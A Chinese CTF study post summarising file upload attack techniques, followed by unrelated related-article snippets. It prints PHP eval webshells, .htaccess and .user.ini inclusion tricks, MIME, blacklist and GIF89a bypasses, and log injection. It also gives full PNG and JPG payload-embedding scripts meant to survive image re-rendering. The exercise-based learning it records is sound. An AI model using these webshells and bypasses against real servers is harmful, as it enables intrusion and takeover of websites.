文件上传知识点汇总
归纳总结一下文件上传(其实是懒得写wp)
基于Dream ZHO师傅的CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客
和dota_st 师傅的ctfshow-Web1000题系列修炼(一) | dota_st
做一篇自己的总结
目录
一、什么是文件上传
木马文件
如何利用木马文件
二、文件上传绕过检测
无检测
js前端检测
1.bp抓包
2.更改js代码
3.直接浏览器ban掉js
MINE检测
黑名单绕过
.htaccess
.user.ini(好用)
白名单绕过
00截断
图片马
getimagesize()绕过
三、木马绕过
短标签绕过
命令执行与文件包含
四、图片马的二次渲染
png
jpg
五、小结
一、什么是文件上传
文件上传漏洞指服务端没有对用户上传的文件进行严格的过滤,从而使用户可以上传木马文件,控制整个网站。
那么什么是木马文件呢?
木马文件
我们常见的木马就是一句话木马
<?php @eval($_POST['a']);?>
在php中eval()函数的作用是可以将传入的参数当作命令执行,
@是用来防止报错的,因为我们本身没有定义a变量,这里本来不能使用a变量,但是@使代码可以继续执行下去,不产生报错。
(我也是个小萌新,所以暂时也只知道这么一个常用来做题目的木马QAQ)
一般写木马的时候需要关闭一下病毒防护,不然你刚写完,windows就把你写的文件给删了。
知道了什么是木马文件后,我们还有两个问题要解决,怎么传上去,传上去之后该干嘛,
怎么传上去就是本文的重点了,所以先讲一下传上去以后该干嘛。
如何利用木马文件
因为是一个eval函数,我们需要在网页里打开我们上传的.php文件,一般打开之后是空白的
用的是BaseCTF_week1的upload题

然后我们有两种方式获取flag,一种是通过POST传参数a进行命令执行,一种是用蚁剑进行链接,链接密码就是参数a。


注意一下不能用https协议。提一嘴,py的request库也不能用https协议(不知道为什么)

那么知道了如何利用木马文件,接下来就是本文的重头戏
二、文件上传绕过检测
无检测
咳咳,故名思意,就是没有检测,随便上传php文件。(上面那道upload就是无检测)
js前端检测
也就是网页本身代码中存在检测,后端没有检测,这边大致有三种办法
1.bp抓包
我们把含有一句话木马的php文件后缀改为其他后缀,如.txt,然后上传之后用bp抓包截获,这时我们可以更改后缀名改回php,然后继续发送,就可以发现绕过成功
例题:ctfshow_web151

上传1.png文件,里面写入一句话木马

把这个2.png改为2.php (下面那个Content-Type不用改,这个是下一个知识点)

2.更改js代码
因为前端检测不是要点,这里给篇文章,大家可以自行选择去看
渗透学习-学习记录-利用浏览器的开发者工具实时修改网页前端JS代码(实现绕过)_如何修改网页js-CSDN博客
3.直接浏览器ban掉js
简单粗暴,这里也给个文章看看
各常用浏览器如何禁用js_浏览器禁用js-CSDN博客
MINE检测
这个就是刚刚提到的Content-Type
Content-Type是指示发送端内容的媒体类型的 HTTP 头部,广泛用于请求和响应中。
然后在php代码中可能存在这种代码
$type=$_FILES['file']['type'];
$allowedImageTypes = [
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff',
'image/webp'
];
if(!in_array($type,$allowedImageTypes)){
echo "<script>alert('只能允许上传图片')</script>";
exit();
}
这样就是一个MIME检测
怎么绕过呢?其实就是把Content-Type的值改为php检测可以通过的值就行,比如.png.jpeg等等
例:ctfshow_web152
(这道题因为还有前端的存在,所以还是要上传png,然后就不用更改Content-Type的值,虽然但是这道题目确实是这个考点。。)


黑名单绕过
网站后端会过滤掉.php文件,不让你上传,这就是黑名单,如何绕过呢?
1.文件大小写过滤,形如.pHp、.PhP等等
2.双写绕过,形如.pphphp(后端代码让连在一起的php替换成' '。.pphphp替换之后就变成了.php)
3.等价拓展名,形如php2、.php3、.php4、.phps、.phtml
这里可以先传入.htaccess文件(作用于Apache)
.htaccess
里面写上以下内容
AddType application/x-httpd-php .php .phtml
意思就是让.phtml像.php文件一样解析
同时也讲一下.user.ini文件
.user.ini(好用)
.user.ini 文件是 PHP 配置的用户级别配置文件,允许在不修改全局 php.ini 配置文件的情况下对特定目录 或文件夹中的 PHP 设置进行调整。它主要用于在共享主机或没有对全局配置进行控制的环境中,修改 PHP 配置。
auto_prepend_file=1.png
include("1.png")
白名单绕过
黑名单会过滤.php文件,不允许php文件上传,那么白名单就是只允许某类文件上传。
比如只允许.png文件上传
00截断
windows系统识别到文件名中00的时候将不再向后识别
仅适用于php版本小于5.3.4并且php的配置文件php.ini中的magic_quotes_gpc 的值需要修改为Off
图片马
顾名思义,就是图片木马,在图片文件里添加一句话木马。
添加方法如下
010里在文件末尾添加一句话木马即可。
也可以在cmd里执行。(虽然我没成功过)
copy 1.jpg/b+2.php 3.jpg

值得注意的是,这种用法需要这个文件被包含了才有用,否则跟真的上传一个图片没啥区别。
所以是需要万能的.user.ini的(说白了和之前的绕过手法差不多)

getimagesize()绕过
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
所以我们在一句话木马前面加个GIF89a即可,(也不知道为什么)
GIF89a
auto_prepend_file=/tmp/sess_muma
三、木马绕过
什么!!!木马也要绕过!!!
因为后端可能会对php代码有锁过滤,所以也需要学习一些绕过手法
短标签绕过
<?=@eval($_POST['a']);?>
ban了php的话可以用短标签来代替原本的<?php ?>
命令执行与文件包含
有时候一句话木马会被ban,这个时候我们可以上传一些命令,比如
<?=system("ls");?>
没错,直接传命令也可以(命令执行的知识点!!)
命令执行知识点汇总-CSDN博客(推销一下我自己)
然后文件包含,这里其实就是传的命令可以是一些伪协议
<?=include"php://filter/convert.base64-encode/resource=../flag.php"?>
都到这里了,php这种估计也被ban了,这里可以通过"ph"."p.....的形式绕过
也可以日志注入,<?=include"/var/log/nginx/access.log"?> 日志里有会返回ua头的话,就可以在ua里传入一句话木马
当然session注入,条件竞争等等都可以在文件上传实现,这里就不多讲了。
四、图片马的二次渲染
有些网站会对上传的图片进行二次处理,会生成一个新的图片放到网页上
png
国外大牛写的png二次渲染脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>
生成图片后上传,然后命令执行即可
jpg
同样是国外大牛
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = '<?=eval($_POST[1]);?>';if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
我们需要先上传一个正常的图片,让他渲染一次
然后把渲染后的图片和php代码一起执行
Linux里,以这个形式 “php 脚本文件 图片文件”
成功后再次上传,然后命令执行即可。
五、小结
本来想每个知识点都添加例题的,但是篇幅实在是有点长,最后还有一个木马免杀部分没有写,我暂时也不是很清楚,之后会添加在文章里面,那么文件上传知识点就汇总到这。
相关文章:
文件上传知识点汇总
归纳总结一下文件上传(其实是懒得写wp) 基于Dream ZHO师傅的CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客 和dota_st 师傅的ctfshow-Web1000题系列修炼(一) | dota_st 做一篇自己的总结 目录 一、什么…...
计算机网络技术基础:5.数据通信系统
一、数据通信的基本概念 1.信息 信息是对客观事物的运动状态和存在形式的反映,可以是客观事实的形态、大小、结构、性能等描述,也可以是客观事物与外部之间的联系。信息的载体可以是数字、文字、语音、图形和图像等。计算机及其外围设备产生和交换的信息…...
光谱相机在农业的应用
一、作物生长监测1、营养状况评估 原理:不同的营养元素在植物体内的含量变化会导致植物叶片或其他组织的光谱反射率特性发生改变。例如,氮元素是植物叶绿素的重要组成部分,植物缺氮时,叶绿素含量下降,其在可见光波段&a…...
高考志愿填报:如何制定合理的志愿梯度?
高考志愿填报中常见的避雷行为,深入分析了专业选择、招生政策了解、学校选择、备选方案准备以及防诈骗等方面的关键问题,并提出了针对性的建议与策略。旨在为考生和家长提供实用的指导,助力考生科学合理地填报高考志愿,避免陷入各…...
Android基于Path的addRoundRect,Canvas剪切clipPath简洁的圆角矩形实现,Kotlin(1)
Android基于Path的addRoundRect,Canvas剪切clipPath简洁的圆角矩形实现,Kotlin(1) <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res…...
webGL硬核知识:图形渲染管渲染流程,各个阶段对应的API调用方式
一、图形渲染管线基础流程概述 WebGL 的图形渲染管线大致可分为以下几个主要阶段,每个阶段都有其特定的任务,协同工作将 3D 场景中的物体最终转换为屏幕上呈现的 2D 图像: 顶点处理(Vertex Processing)阶段࿱…...
区块链详解
1. 概述 1.1 什么是区块链? 区块链是一种分布式数据库技术,它以链式数据结构的形式存储数据,每个数据块与前一个数据块相关联,形成了一个不断增长的数据链。每个数据块中包含了一定数量的交易信息或其他数据,这些数据…...
【EXCEL 逻辑函数】AND、OR、XOR、NOT、IF、IFS、IFERROR、IFNA、SWITCH
目录 AND:当所有条件都为真时返回 TRUE,否则返回 FALSE OR:当任一条件为真时返回 TRUE,否则返回 FALSE XOR:当奇数个条件为真时返回 TRUE,否则返回 FALSE NOT :反转逻辑值 IF:根…...
ubuntu下gdb调试ROS
参考: 使用VsCode进行ROS程序调试_ros vscode 调试-CSDN博客 https://blog.csdn.net/weixin_45031801/article/details/134399664?spm1001.2014.3001.5506 一、调试准备 1.1 CMakeLists改动 注释文件中的 set(CMAKE_BUILD_TYPE "Release") #构建类…...
Docke_常用命令详解
这篇文章分享一下笔者常用的Docker命令供各位读者参考。 为什么要用Docker? 简单来说:Docker通过提供轻量级、隔离且可移植的容器化环境,使得应用在不同平台上保持一致性、易于部署和管理,具体如下 环境一致性: Docker容器使得…...
使用vue2.0或vue3.0创建自定义组件
Vue2.0创建自定义组件 在 Vue 2.0 中创建自定义组件是一个相对简单的过程。以下是一个详细的步骤指南,帮助你创建一个自定义组件。 步骤 1: 创建 Vue 组件文件 首先,你需要创建一个新的 Vue 文件(.vue 文件)。假设我们要创建一…...
Elasticsearch-DSL高级查询操作
一、禁用元数据和过滤数据 1、禁用元数据_source GET product/_search {"_source": false, "query": {"match_all": {}} }查询结果不显示元数据 禁用之前: {"took" : 0,"timed_out" : false,"_shards" : {&quo…...
【Linux】重启系统后开不开机(内核模块丢失问题)
问题 重启后开不开机报错如下: FAILED failed to start load kernel moduiles 可以看到提示module dm_mod not found 缺少了dm_mod 在内核module目录中 reboot重启可以看到这个现象: 可以看到重启启动磁盘,加载不到root 原因 dm_mod模块…...
对golang的io型进程进行off-cpu分析
背景: 对于不能占满所有cpu核数的进程,进行on-cpu的分析是没有意义的,因为可能程序大部分时间都处在阻塞状态。 实验例子程序: 以centos8和golang1.23.3为例,测试下面的程序: pprof_netio.go package m…...
Springboot中使用Retrofit
Retrofit官网 https://square.github.io/retrofit/ 配置gradle implementation("com.squareup.okhttp3:okhttp:4.12.0")implementation ("com.squareup.retrofit2:retrofit:2.11.0")implementation ("com.squareup.retrofit2:converter-gson:2.11.0…...
Ubuntu中配置内网固定IP
文章目录 背景一、配置步骤(一)首先确认网卡名称(二)确认网关(三)备份配置文件(四)编辑配置文件(五)应用配置(六)验证配置 二、注意事…...
ExcelVBA编程输出ColorIndex与对应颜色色谱
标题 ExcelVBA编程输出ColorIndex与对应颜色色谱 正文 解决问题编程输出ColorIndex与对应色谱共56,打算分4纵列输出,标题是ColorIndex,Color,Name 1. 解释VBA中的ColorIndex属性 在VBA(Visual Basic for Applications)中ÿ…...
MySQL中in和exists的使用场景
在MySQL中,IN 和 EXISTS 是用于子查询的两种常见方法,它们在不同的场景下有不同的表现和适用性。下面我将详细介绍这两种方法的使用场景、优劣,并通过实验来说明问题。 IN 子查询 使用场景: 当子查询返回的结果集较小且不包含 …...
【多线程2】start 和 run 区别,终止线程,等待线程
Thread 类使用 start 方法,启动一个线程,对于同一个 Thread 对象来说,start 只能调用一次!!! 不怕名字起的长,就怕含义不清楚! 想要启动更多线程,就是得创建新的对象&am…...
富途证券C++面试题及参考答案
C++ 中堆和栈的区别 在 C++ 中,堆和栈是两种不同的内存区域,它们有许多区别。 从内存分配方式来看,栈是由编译器自动分配和释放的内存区域。当一个函数被调用时,函数内的局部变量、函数参数等会被压入栈中,这些变量的内存空间在函数执行结束后会自动被释放。例如,在下面的…...
XCTF-web-easyupload
试了试php,php7,pht,phtml等,都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接,得到flag...
AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...
04-初识css
一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...
MySQL 8.0 OCP 英文题库解析(十三)
Oracle 为庆祝 MySQL 30 周年,截止到 2025.07.31 之前。所有人均可以免费考取原价245美元的MySQL OCP 认证。 从今天开始,将英文题库免费公布出来,并进行解析,帮助大家在一个月之内轻松通过OCP认证。 本期公布试题111~120 试题1…...
Rapidio门铃消息FIFO溢出机制
关于RapidIO门铃消息FIFO的溢出机制及其与中断抖动的关系,以下是深入解析: 门铃FIFO溢出的本质 在RapidIO系统中,门铃消息FIFO是硬件控制器内部的缓冲区,用于临时存储接收到的门铃消息(Doorbell Message)。…...
Device Mapper 机制
Device Mapper 机制详解 Device Mapper(简称 DM)是 Linux 内核中的一套通用块设备映射框架,为 LVM、加密磁盘、RAID 等提供底层支持。本文将详细介绍 Device Mapper 的原理、实现、内核配置、常用工具、操作测试流程,并配以详细的…...
ABAP设计模式之---“简单设计原则(Simple Design)”
“Simple Design”(简单设计)是软件开发中的一个重要理念,倡导以最简单的方式实现软件功能,以确保代码清晰易懂、易维护,并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计,遵循“让事情保…...
SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)
上一章用到了V2 的概念,其实 Fiori当中还有 V4,咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务),代理中间件(ui5-middleware-simpleproxy)-CSDN博客…...
九天毕昇深度学习平台 | 如何安装库?
pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子: 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...
代码随想录刷题day30
1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币,另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额,返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...
